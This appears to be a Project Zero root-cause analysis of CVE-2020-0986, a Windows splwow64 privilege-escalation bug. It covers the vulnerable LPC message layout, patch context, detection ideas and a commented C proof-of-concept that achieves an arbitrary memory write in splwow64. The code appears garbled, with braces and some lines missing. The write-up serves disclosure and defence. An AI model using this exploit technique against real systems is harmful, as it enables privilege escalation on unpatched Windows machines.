CVE-2020-0986: Windows splwow64 Untrusted Pointer Dereference

This page has been moved to our new site. Please click here to go to the new location.

Posted by Maddie Stone, Project Zero

Disclosure or Patch Date: 19 May 2020 (ZDI Disclosure) & 9 June 2020 (Microsoft)
Product: Microsoft Windows
Affected Versions: For WIndows 10 1909/1903, KB4556799 and previous.
First Patched Version: 
  • For Windows 10 1909/1903, KB4560960.
  • For Windows 10 2004, KB4557957. (No previous releases of 2004).
Issue/Bug Report: N/A
 Patch CL: N/A
Bug-Introducing CL: N/A
Proof-of-Concept: See below.
Exploit Sample: N/A
Access to the exploit sample? No
Reporter(s): Boris Larin (Oct0xor) of Kaspersky Lab

Bug Class: Untrusted Pointer Dereference
Vulnerability Details: The vulnerability is almost exactly the same as CVE-2019-0880 [detailed technical analysis]. Just like CVE-2019-0880, this vulnerability allows the attacker to call memcpy with arbitrary parameters in the splwow64 privileged address space. The arbitrary parameters are sent in an LPC message to splwow64.

In this case, the vulnerable message type is 0x6D, which is the call to DocumentEvent. After DocumentEvent is called from GdiPrinterThunk, a call to memcpy can occur as long as you craft specific fields in your LPC message to the right values. This memcpy call is at gdi32full!GdiPrinterThunk+0x1E85A

The message that is sent via LPC is 0x20 bytes long. This 0x20 data block follows a header that is 0x28 bytes long. The data block includes the following values:

Length of msg_send: 0x88
Ptr to msg_send
Length of msg_reply: 0x10
Ptr to msg_reply

The buffers for msg_send and msg_reply need to be created in memory that’s shared by the calling process & splwow64. In the POC below, this is created using _PORT_VIEW struct. 

The pointers to msg_send and msg_reply are passed as the two arguments to GDIPrinterThunk. In order to trigger the vulnerable memcpy, the contents of msg_send must be:

DWORD of msg type: 0x6D
iEsc argument to DocumentEvent (should be 0x04 or 0x01)
Pointer to pointer for source of memcpy
Destination of memcpy

The size of the memcpy is at [src of memcpy + 0x40]

With RCE in the less privileged Internet Explorer renderer, one can send this LPC message and receive arbitrary write primitive in splwow64’s more privileged address space.

Is the exploit method known? N/A
Exploit method: I have not seen a copy of the exploit so I don’t know what exploit method was used. 

How do you think you would have found this bug? This bug is very shallow and an extremely trivial variant of the previous vulnerability that was exploited in the wild, CVE-2019-0880. Therefore, it’d be pretty easy to find this vulnerability by auditing the GdiPrinterThunk function.

(Historical/present/future) context of bug: 
This vulnerability was chained with CVE-2020-1380. CVE-2020-1380 is the Remote Code Execution (RCE) vulnerability and CVE-2020-0986 is the Elevation of Privilege (EoP). 

ZDI publicly published a limited advisory on 19 May 2020 about the existence of this vulnerability after their 120-day deadline expired with no patch. Kaspersky reported that they saw this vulnerability exploited in-the-wild on 20 May 2020. For Project Zero’s 0day in-the-wild tracking spreadsheet, we do not include any 0-days that were fully disclosed prior to exploitation. In this case we are still including this vulnerability because the details in ZDI’s bulletin were limited and Microsoft also did not consider the vulnerability publicly disclosed or exploited. 

Microsoft’s advisory did not list this vulnerability as Exploited. After asking Microsoft, they said that the 2 reporters who had reported this vulnerability to them had not told them anything about in-the-wild exploitation and they have a policy of not updating the “exploited” flag in advisories if they learn about exploitation after the advisory has been published. 

CVE-2020-0986 is a trivial variant of CVE-2019-0880, which was exploited in-the-wild in July 2019. 

Areas/approach for variant analysis: 
  • Statically audit GDIPrinterThunk for other untrusted pointer dereferences
  • Fuzz LPC messages to legacy components of Windows, like splwow64
Found variants: N/A

Structural improvements: 
  • Verifying any pointers that are passed in a LPC message in ProcessRequest prior to passing to GdiPrinterThunk.
  • The patch for this vulnerability includes Microsoft switching the entries in the LPC messages from pointers to offsets. This will add restrictions to the arbitrary write primitive. 
  • If Internet Explorer is not able to be deprecated, at least show a pop-up message whenever IE is accessing a process that is whitelisted in Internet Explorer Elevation Policy.  

Potential detection methods for similar 0-days:
  • If the IE renderer is trying to connect & send messages to splwow64
  • Creating shared memory/buffer with splwow64

Other references: 

Proof-of-Concept by Boris Larin (oct0xor) of Kaspersky Lab (shared with permission), minimized and commented by Maddie Stone:
#include <iostream>;
#include "windows.h";
#include "Shlwapi.h";
#include "winternl.h";

typedef struct _PORT_VIEW
        UINT64 Length;
        HANDLE SectionHandle;
        UINT64 SectionOffset;
        UINT64 ViewSize;
        UCHAR* ViewBase;
        UCHAR* ViewRemoteBase;

PORT_VIEW ClientView;

typedef struct _PORT_MESSAGE_HEADER {
        USHORT DataSize;
        USHORT MessageSize;
        USHORT MessageType;
        USHORT VirtualRangesOffset;
        CLIENT_ID ClientId;
        UINT64 MessageId;
        UINT64 SectionSize;

typedef struct _PORT_MESSAGE {
        PORT_MESSAGE_HEADER MessageHeader;
        UINT64 MsgSendLen;
        UINT64 PtrMsgSend;
        UINT64 MsgReplyLen;
        UINT64 PtrMsgReply;
        UCHAR Unk4[0x1F8];


NTSTATUS(NTAPI* NtOpenProcessToken)(
        _In_ HANDLE ProcessHandle,
        _In_ ACCESS_MASK DesiredAccess,
        _Out_ PHANDLE TokenHandle

NTSTATUS(NTAPI* ZwQueryInformationToken)(
        _In_ HANDLE TokenHandle,
        _In_ TOKEN_INFORMATION_CLASS TokenInformationClass,
        _Out_writes_bytes_to_opt_(TokenInformationLength, *ReturnLength) PVOID TokenInformation,
        _In_ ULONG TokenInformationLength,
        _Out_ PULONG ReturnLength

NTSTATUS(NTAPI* NtCreateSection)(
        PHANDLE            SectionHandle,
        ACCESS_MASK        DesiredAccess,
        POBJECT_ATTRIBUTES ObjectAttributes,
        PLARGE_INTEGER     MaximumSize,
        ULONG              SectionPageProtection,
        ULONG              AllocationAttributes,
        HANDLE             FileHandle

NTSTATUS(NTAPI* ZwSecureConnectPort)(
        _Out_ PHANDLE PortHandle,
        _In_ PUNICODE_STRING PortName,
        _Inout_opt_ PPORT_VIEW ClientView,
        _In_opt_ PSID Sid,
        _Inout_opt_ PVOID ServerView,
        _Out_opt_ PULONG MaxMessageLength,
        _Inout_opt_ PVOID ConnectionInformation,
        _Inout_opt_ PULONG ConnectionInformationLength

NTSTATUS(NTAPI* NtRequestWaitReplyPort)(
        IN HANDLE PortHandle,
        IN PPORT_MESSAGE LpcRequest,
        OUT PPORT_MESSAGE LpcReply

int Init()
        HMODULE ntdll = GetModuleHandleA("ntdll");

        printf("ntdll = 0x%llX\n", ntdll);

        NtOpenProcessToken = (NTSTATUS(NTAPI*) (HANDLE, ACCESS_MASK, PHANDLE)) GetProcAddress(ntdll, "NtOpenProcessToken");
        if (NtOpenProcessToken == NULL)
                printf("Failed to get NtOpenProcessToken\n");
                return 0;

        ZwQueryInformationToken = (NTSTATUS(NTAPI*) (HANDLE, TOKEN_INFORMATION_CLASS, PVOID, ULONG, PULONG)) GetProcAddress(ntdll, "ZwQueryInformationToken");
        if (ZwQueryInformationToken == NULL)
                printf("Failed to get ZwQueryInformationToken\n");
                return 0;

        if (NtCreateSection == NULL)
                printf("Failed to get NtCreateSection\n");
                return 0;

        if (ZwSecureConnectPort == NULL)
                printf("Failed to get ZwSecureConnectPort\n");
                return 0;

        NtRequestWaitReplyPort = (NTSTATUS(NTAPI*) (HANDLE, PPORT_MESSAGE, PPORT_MESSAGE)) GetProcAddress(ntdll, "NtRequestWaitReplyPort");
        if (NtRequestWaitReplyPort == NULL)
                printf("Failed to get NtRequestWaitReplyPort\n");
                return 0;

        return 1;

int GetPortName(PUNICODE_STRING DestinationString)
        void* tokenHandle;
        DWORD sessionId;
        ULONG length;

        int tokenInformation[16];
        WCHAR dst[256];

        memset(tokenInformation, 0, sizeof(tokenInformation));
        ProcessIdToSessionId(GetCurrentProcessId(), &sessionId);

        memset(dst, 0, sizeof(dst));

        if (NtOpenProcessToken(GetCurrentProcess(), 0x20008u, &tokenHandle)
                || ZwQueryInformationToken(tokenHandle, TokenStatistics, tokenInformation, 0x38u, &length))
                return 0;

                L"\\RPC Control\\UmpdProxy_%x_%x_%x_%x",
        printf("name: %ls\n", dst);
        RtlInitUnicodeString(DestinationString, dst);

        return 1;

HANDLE CreatePortSharedBuffer(PUNICODE_STRING PortName)
        HANDLE sectionHandle = 0;
        HANDLE portHandle = 0;
        union _LARGE_INTEGER maximumSize;
        maximumSize.QuadPart = 0x20000;

        if (0 != NtCreateSection(&sectionHandle, SECTION_MAP_WRITE | SECTION_MAP_READ, 0, &maximumSize, PAGE_READWRITE, SEC_COMMIT, NULL)) {
                printf("failed on NtCreateSection\n");
                return 0;
        if (sectionHandle)
                ClientView.SectionHandle = sectionHandle;
                ClientView.Length = 0x30;
                ClientView.ViewSize = 0x9000;
                int retval = ZwSecureConnectPort(&portHandle, PortName, NULL, &ClientView, NULL, NULL, NULL, NULL, NULL);
                        printf("Failed on ZwSecureConnectPort: 0x%x\n", retval);
                        return 0;

        return portHandle;

PVOID PrepareMessage()
        memset(&LpcRequest, 0, sizeof(LpcRequest));
        LpcRequest.MessageHeader.DataSize = 0x20;
        LpcRequest.MessageHeader.MessageSize = 0x48;

        LpcRequest.MsgSendLen = 0x88;
        LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;
        LpcRequest.MsgReplyLen = 0x10;
        LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x88;

        memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));

        *(UINT64*)ClientView.ViewBase = 0x6D00000000; //Msg Type (Document Event)
        *((UINT64*)ClientView.ViewBase + 3) = (UINT64)ClientView.ViewRemoteBase + 0x100; //First arg to FindPrinterHandle
        *((UINT64*)ClientView.ViewBase + 4) = 0x500000005;  // 2nd arg to FindPrinterHandle
        *((UINT64*)ClientView.ViewBase + 7) = 0x2000000001; //iEsc argument to DocumentEvent
        *((UINT64*)ClientView.ViewBase + 0xA) = (UINT64)ClientView.ViewRemoteBase + 0x800; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy
        *((UINT64*)ClientView.ViewBase + 0xB) = (UINT64)ClientView.ViewRemoteBase + 0x840; //Destination of memcpy
        *((UINT64*)ClientView.ViewBase + 0x28) = (UINT64)ClientView.ViewRemoteBase + 0x160;
        *((UINT64*)ClientView.ViewBase + 0x2D) = 0x500000005;
        *((UINT64*)ClientView.ViewBase + 0x2E) = (UINT64)ClientView.ViewRemoteBase + 0x200;
        *((UINT64*)ClientView.ViewBase + 0x40) = 0x6767;
        *((UINT64*)ClientView.ViewBase + 0x100) = (UINT64)ClientView.ViewRemoteBase + 0x810;
        return ClientView.ViewBase;

void DebugWrite()
        printf("Copy from 0x%llX to 0x%llX (0x%llX bytes)\n", *((UINT64*)ClientView.ViewBase + 0x100), *((UINT64*)ClientView.ViewBase + 0xB), *((UINT64*)ClientView.ViewBase + 0x10A) >> 48);

bool WriteData(HANDLE portHandle, UINT64 offset, UCHAR* buf, UINT64 size)
        *((UINT64*)ClientView.ViewBase + 0xB) = offset;
        *((UINT64*)ClientView.ViewBase + 0x10A) = size << 48;
        memcpy(ClientView.ViewBase + 0x810, buf, size);


        return NtRequestWaitReplyPort(portHandle, &LpcRequest, &LpcReply) == 0;


int main()
        printf("Init done\n");

        CHAR Path[0x100];
        /* Starts splwow64 by executing CreateDC.exe. CreateDC.exe is an x86 executable that simply calls 
CreateDCA("Microsoft XPS Document Writer", "Microsoft XPS Document Writer", 0, 0);*/
        GetCurrentDirectoryA(sizeof(Path), Path);
        PathAppendA(Path, "CreateDC.exe");

        if (!(PathFileExistsA(Path)))
                printf("CreateDC.exe does not exist\n");
                return 0;
        WinExec(Path, 0);
        CreateDCW(L"Microsoft XPS Document Writer", L"Microsoft XPS Document Writer", NULL, NULL);
        printf("Get port name\n");

        UNICODE_STRING portName;
        if (!GetPortName(&portName))
                printf("Failed to get port name\n");
                return 0;

        printf("Create port. \n");

        HANDLE portHandle = CreatePortSharedBuffer(&portName);
        if (!(portHandle && ClientView.ViewBase && ClientView.ViewRemoteBase))
                printf("portHandle = 0xllX && ClientView.ViewBase = 0xllX && ClientView.ViewRemoteBase = 0xllX\n", portHandle, ClientView.ViewBase, ClientView.ViewRemoteBase);
                return 0;

        printf("Prepare objects\n");


        printf("Get offset\n");

        printf("Press [Enter] to continue . . .");
        UINT64 value = 0;
        if (!WriteData(portHandle, 0x4141414141414141, (UCHAR*)&value, 8))
                printf("WriteData failed\n");
                return 0;


        return 0;

No comments:

Post a Comment